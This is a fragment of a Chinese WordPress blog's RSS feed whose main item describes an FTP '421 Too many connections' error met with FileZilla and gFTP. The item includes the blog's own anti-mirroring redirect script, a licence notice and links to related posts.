Bookshelf">WP My Bookshelf</a> (35)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/drangerous-blog-had-been-injected.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>421 Too many connections (8) from this IP</title>
		<link>http://ihacklog.com/php/wordpress/problems/421-too-many-connections-8-from-this-ip.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/421-too-many-connections-8-from-this-ip.html#comments</comments>
		<pubDate>Mon, 21 Sep 2009 05:48:53 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://www.hacklog.cn/wordpress/problems/421-too-many-connections-8-from-this-ip.html</guid>
		<description><![CDATA[最近用filezilla上传东东到LP的空间总是出现 “421 Too many connections (8) from this IP “错误,就算把“最大连接数”设置为1 （set &#8216;Limit number of simultaneous connections&#8217; to 1）也还是一样提示这个错误。 郁闷了，首先我以为是学校对上传做了限制，后来问了下学校网络中心的朋友，他说学校只是对上传速率作了限制。看来不是学校方面的问题，那就可能是Filezilla 这个软件或者是LP ...]]></description>
			<content:encoded><![CDATA[<p>最近用filezilla上传东东到LP的空间总是出现 “421 Too many connections (8) from this IP “错误,就算把“最大连接数”设置为1   （set &#8216;Limit number of simultaneous connections&#8217; to 1）也还是一样提示这个错误。<br />
郁闷了，首先我以为是学校对上传做了限制，后来问了下学校网络中心的朋友，他说学校只是对上传速率作了限制。看来不是学校方面的问题，那就可能是Filezilla 这个软件或者是LP FTP服务器的配置的问题了。<br />
后台又用gFTP连接，照样是421 Too many connections (8) from this IP错误：</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">421</span> Too many connections <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">8</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> from this IP</div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=2540";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=2540" title="Permanent Link to 421 Too many connections (8) from this IP" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=2540</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年05月2日  //  <a href="http://ihacklog.com/software/powerfulvim/vim-for-php-programmers.html" title="折腾vim">折腾vim</a> (2)</li><li>2008年12月24日  //  <a href="http://ihacklog.com/memory/%e4%b8%80%e5%80%8b%e4%ba%ba%e7%9a%84%e5%a4%a9%e7%a9%ba%e5%be%88%e8%97%8d-%e8%93%9d%e7%9a%84%e6%9c%89%e7%82%b9%e5%bf%a7%e9%83%81-by1987102500.html" title="一個人的天空很藍 蓝的有点忧郁&#8212;&#8211;by1987102500">一個人的天空很藍 蓝的有点忧郁&#8212;&#8211;by1987102500</a> (0)</li><li>2009年04月7日  //  <a href="http://ihacklog.com/php/httpzhishidianzhiyitoubujieshi.html" title="HTTP 知识点之一：头部解释">HTTP 知识点之一：头部解释</a> (0)</li><li>2008年12月27日  //  <a href="http://ihacklog.com/software/onlinetools/ip-domain-check.html" title="ip-domain check">ip-domain check</a> (0)</li><li>2010年05月15日  //  <a href="http://ihacklog.com/programming/c/comile-gd-2-0-11-under-ubuntu-linux.html" title="ubuntu linux下编译安装gd-2.0.11出错">ubuntu linux下编译安装gd-2.0.11出错</a> (0)</li><li>2011年08月28日  //  <a href="http://ihacklog.com/software/powerfulvim/vim-hightlight-match-parentheses.html" title="关于VIM高亮匹配括号">关于VIM高亮匹配括号</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/421-too-many-connections-8-from-this-ip.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

